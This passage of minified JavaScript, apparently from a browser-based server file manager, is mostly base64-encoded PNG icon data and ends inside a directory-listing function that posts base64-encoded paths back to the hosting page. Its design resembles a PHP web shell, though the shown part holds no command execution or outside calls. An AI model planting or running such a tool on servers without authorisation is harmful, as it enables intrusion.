qYwXh86mi8OGcC3v0qFykFlUgvvgpfjRvG+HoibsEUTB83BPO3p6Ba34ZTRTXOBaDgGHYuDoHwV6xtTbrcWeX5aXGvL9Tp8tPP5c0gsG53g8LSD6Xqe2i8A6FQ3EwCeij+Wa0Bgm+xTwZZPf2lFtbhwKlKU1XttfSjaafDO0xm60UCIgPUblkY6H0fgNv2fmHhdVMp0Wo0w2TpvrW6q5VwUXBoauvoLLU5fREUDAhJkJAMiTWT2UIzX0kozbhwRX76CmD8CJ+KaWFjWz49Uy6+yMjZXJ25Cwj2w0Zp8NJc67GduViByLWfoL3DLMdluKmVSN+xBGFjfJGWX9r8h4/T63MrWmwC2GXI2QCE+b/5mWBo3MRPpIIzKdklWPDWl6hv/ml/FkExzNsDn73+OB6YeDNes4XHgRMFlX88mO1abzCJD7fedDobgGDzwRAfPB0xXPLrVtY1I+bjE0j4Lg9txu6jQeOuxvNzJuL1Z2ZCgNBbq2tqpfcPndVtPlI82sJbqQHcKtwfAEzmjtw3nwi8e8RQjXhOfItTrUYT0vLLUHa1EUoFhzF+g3BvoB8GuMoSx3c5P7bOiv2qEG4evVeB+gsAEVVm5ReW5FwonhE1bRy+fvspcE6+IhRW96jXD+BIpg5gikx4eftC6dK9Duh0AASDrqws60RmznSLxdJV/v3z0zMRt+RByanQlw5b/5WO9fHHblFBJrio06EZNAmc4vZKiiOngPCQSd/UfPKb4+lBhva22ya98PE/ffV3eHZWaF9iFJU9mJqPRe/+p6sg2r0j1cDVUwcPzX3CszMH7QIF4zjeUiwoazeZ8o6eOkPVV69dT19FmjCnd62OwrJ53XPzvhL58FAWVn94BEJNUKJdxEAfc1dazVvG4fMVOjEZ63UsIrZ4V+53ORcu8dkXLkV2Hi5ltuioe7Ft5VzZC5uY2kaDEa/sTsZHR3JkWha6EUGhyoDGy4jEFyIB8ftBybtBzIoVJvVRsJ65u7Q/I4ZosDl6FhZGhti8OAp7f0JKHt7YfxxltU3Sxnr2IBIqInOQEpNqTVgagCA9O/ZhMLYPhADbPQGCAnyw5JFwzL9/AsYOH2RVRVF5HT4/Xoj9ybm4XNVgjznh2Uc5wJbi6BvJUgrkARC0PKp1R7viZRBtANB7piJlDcDIoQMRPta3E4SHm6rz0NLQ3IYrVxtxtqgKVfUtMrSIdaE2EHag3TUOp16V9VpEPoAbNiO1AVAq3gH4RVJFjD5EYo9oEji2Cslv2PReyHYAN1yb++Z0WGg7GBOOrXewUTY4xRokb7DrxZj9AISQtVoOadwigLYATnobKIqW6sC4t+A1ficS7X8z2DcAN6eFB5RsHQjCkxT7LjBkjyEygbFdINVGHHvNvqcjt9hyDIAbCue8FQhCHEB9eh9shcUxWLAGqRsd9m7YsQC6QMTOgoXbDo5seyEuHnkRQK/gWMxh2QNFZkfnABCMR2qVUHBLwIQRAXuvt/RgbBO8LNuQqLX/7ZwVGM4DcMPow1pv8FwMCC8CsF42uiFD4MFYAjjLOiRrnfrfI84H0LVtaoPBc9sAPCIxOo9DgTX4dqNNj7NkjvjbuvUfgC4QsY+C73x3OKabN0RlYGwDjm38xN5g7JHrfwCCl/N2qGHWPwmiaZ1OM5YBpVcivlklfYtqT5R3dA1wsMOOVndnRoCjo+iDvl8B9AHe/4Xo/wDSGIF9J77MdgAAAABJRU5ErkJggg==",java_icon="data:image/png;base64,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",ini_icon="data:image/png;base64,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",sh_icon="data:image/png;base64,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";function list_dir(e){void 0===e&&(e=".");let t=document.querySelector(".inner table"),A=document.querySelector(".inner .loaderhold .loader");t.style.display="none",A.style.display="block";let n=new FormData;n.append("list_dir",btoa(e));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){var e=JSON.parse(this.response);if(void 0!==e.status||null==e.name||null==e.name||""==e.name)show_popup("Can not change dir!",3e3,"alert"),A.style.display="none",t.style.display="table",document.getElementById("curr_dir").value=working_dir;else{let n=document.querySelector(".inner table tbody"),i=n.querySelectorAll("tr");for(let e=0;e<i.length;e++)i[e].parentNode.removeChild(i[e]);for(let t=0;t<e.name.length;t++){let A=n.insertRow();A.setAttribute("id","tr_"+t);let 